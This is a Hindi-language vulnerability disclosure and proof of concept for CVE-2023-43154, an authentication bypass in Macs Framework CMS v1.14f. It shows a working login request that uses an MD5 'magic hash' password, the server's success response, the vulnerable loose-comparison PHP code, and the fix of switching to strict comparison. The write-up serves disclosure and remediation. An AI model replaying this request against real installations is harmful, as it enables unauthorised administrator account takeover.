
Mac के CMS में type confusion भेद्यता के लिए PoC, जिसके परिणामस्वरूप authentication bypass और administrator account takeover होता है।
CVE-ID: CVE-2023-43154
CVSS 3.1: 9.8
भेद्यता विवरण: isValidLogin() फ़ंक्शन में एक ढीली तुलना के परिणामस्वरूप PHP प्रकार भ्रम
भेद्यता उत्पन्न होती है जिसका दुरुपयोग प्रमाणीकरण को बायपास करने और व्यवस्थापक खाते पर कब्ज़ा करने के लिए किया जा सकता है।
संवेदनशील पैरामीटर: CMS पर उपयोगकर्ताओं का उपयोगकर्ता नाम और पासवर्ड।
प्रभावित उत्पाद: Macs Framework v1.14f - सामग्री प्रबंधन प्रणाली
सीमाएँ:
आवश्यक उपयोगकर्ता सहभागिता: कोई नहीं
संदर्भ: https://github.com/ally-petitt/CVE-2023-43154-PoC
खोज तिथि: 7 सितंबर, 2023
रिपोर्टकर्ता: Ally Petitt
URI /index.php/main/cms/login पर पीड़ित खाते के उपयोगकर्ता नाम और किसी भी
पासवर्ड के साथ लॉगिन करना जो मैजिक हैश में परिणत होता है, प्रमाणीकरण बायपास की ओर ले जाएगा।
एक नमूना लॉगिन नीचे दिखाया गया है।
POST /index.php/main/cms/login HTTP/1.1
Host: 172.17.0.2
Content-Length: 62
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.17.0.2
Referer: http://172.17.0.2/index.php/main/cms/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=di4ceqcv9432vcb0p27rkh7k82
Connection: close
ajaxRequest=true&&username=testadmin&password=0gdVIdSQL8Cm&scrollPosition=0
HTTP/1.1 200 OK
Date: Sat, 09 Sep 2023 02:01:26 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 72
Connection: close
Content-Type: text/html; charset=ISO-8859-1
<script>window.location.href="http://172.17.0.2/index.php/home"</script>
स्थिति कोड 200 और /index.php/home पर रीडायरेक्ट, दोनों संकेत हैं कि लॉगिन प्रयास
सफल रहा। testadmin का पासवर्ड लॉगिन प्रयास में उपयोग किया गया पासवर्ड (0gdVIdSQL8Cm) नहीं था।
इसके बजाय, इसे QNKCDZO पर सेट किया गया था।
जब कोई उपयोगकर्ता लॉगिन करने का प्रयास करता है, तो उनके द्वारा प्रदान किया गया पासवर्ड हैश किया जाता है और इसे
isValidLogin() फ़ंक्शन में एक पैरामीटर के रूप में भेजा जाता है, जो प्रारंभिक login() फ़ंक्शन के माध्यम से होता है
जो /index.php/Main/CMS/login पर POST अनुरोध किए जाने पर कॉल किया जाता है।
public function login()
{
if($this->isValidLogin(Post::getByKey('username'), $this->encrypt(Post::getByKey('password')) ) || ( $this->isAdminLoggedIn() ))
--snip--
}
isValidLogin() फ़ंक्शन फ़ाइल /Application/plugins/CMS/controllers/CMS.php की पंक्ति 83 से शुरू होता है।
यह 3 के बजाय 2 समान चिह्नों के उपयोग के कारण प्रकार भ्रम भेद्यता के लिए संवेदनशील है।
private function isValidLogin($username, $password)
{
$this->loadModels();
$loggedIn = false;
foreach (Config::$editInPlaceAdmins as $key=>$account)
{
if(( $account['username'] == $username) && ($account['password'] == $password ) )
{
$loggedIn = true;
Session::set('AdminLoggedIn', $account);
break;
}
}
जैसा कि if कथन में दिखाया गया है, उपयोगकर्ता नाम और पासवर्ड की जाँच एक ढीली तुलना के साथ की जा रही है, जिससे
PHP प्रकार भ्रम भेद्यता उत्पन्न होती है। इसका दुरुपयोग उस पासवर्ड के साथ लॉगिन करते समय किया जा सकता है जो
मैजिक हैश, या ऐसा हैश उत्पन्न करता है जिसे PHP ढीली तुलना के दौरान मान 0 के रूप में व्याख्यायित करता है। ऐसे
पासवर्डों की एक सूची यहाँ पाई जा सकती है।
इसका शोषण करने के लिए, पहले यह समझना महत्वपूर्ण है कि $account['password'] किस प्रारूप में संग्रहीत है।
उपर्युक्त CMS.php फ़ाइल की पंक्ति 730 पर नए उपयोगकर्ता खाते को सहेजने के लिए उपयोग किए जाने वाले फ़ंक्शन में,
यह स्पष्ट हो जाता है कि पासवर्ड को संग्रहीत करने से पहले पहले एक encrypt फ़ंक्शन के माध्यम से पारित किया जाता है।
$password = $this->encrypt(Post::getByKey('password'));
$confirmPassword = $this->encrypt(Post::getByKey('confirmPassword'));
-- snip --
private function saveNewUser( $username, $password, $emailAddress, $roleId)
पासवर्ड को encrypt के माध्यम से चलाने के बाद कॉल किए जाने वाले फ़ंक्शन पर आगे बढ़ते हुए, निम्नलिखित
कोड का उपयोग किया जाता है:
private function saveNewUser( $username, $password, $emailAddress, $roleId)
{
--snip--
$this->usersModel->insertUser($username, $password, $emailAddress, $roleId);
--snip--
}
उपरोक्त कोड के आधार पर, यह स्पष्ट है कि "एन्क्रिप्टेड" पासवर्ड को सीधे MVC फ्रेमवर्क के users
मॉडल में रखा गया था। अंत में, इस भेद्यता का शोषण करने के लिए, यह समझना आवश्यक है कि
encrypt फ़ंक्शन कैसे काम करता है क्योंकि इसका आउटपुट सीधे उपयोगकर्ता इनपुट के विरुद्ध तुलना किया जा रहा है।
private function encrypt( $string )
{
return md5($string);
}
encrypt फ़ंक्शन उसे दिए गए स्ट्रिंग का MD5 हैश लौटाता है। इसका मतलब है कि जब login()
फ़ंक्शन को उपयोगकर्ता-प्रदत्त क्रेडेंशियल्स के साथ कॉल किया जाता है, तो इनपुट किया गया पासवर्ड हैश किया जाता है और पीड़ित खाते के संग्रहीत MD5 हैश के विरुद्ध तुलना की जाती है।
इसका निहितार्थ यह है कि जब ऐसे पासवर्ड का उपयोग किया जाता है जो PHP टकराव, या मैजिक हैश में परिणत होता है, तो यह एक संग्रहीत पासवर्ड के विरुद्ध तुलना करने पर समतुल्य के रूप में पंजीकृत होगा जो मैजिक हैश के प्रारूप का भी पालन करता है। परिणामस्वरूप, बड़ी संख्या में पासवर्ड का उपयोग व्यवस्थापक खाते में प्रमाणीकरण और कब्ज़ा करने के लिए किया जा सकता है, भले ही प्रारंभिक पासवर्ड पहले से ज्ञात न हो।
इस भेद्यता को isValidLogin() फ़ंक्शन में ढीली तुलना को == को === से बदलकर सख्त तुलना में बदलकर कम किया जा सकता है।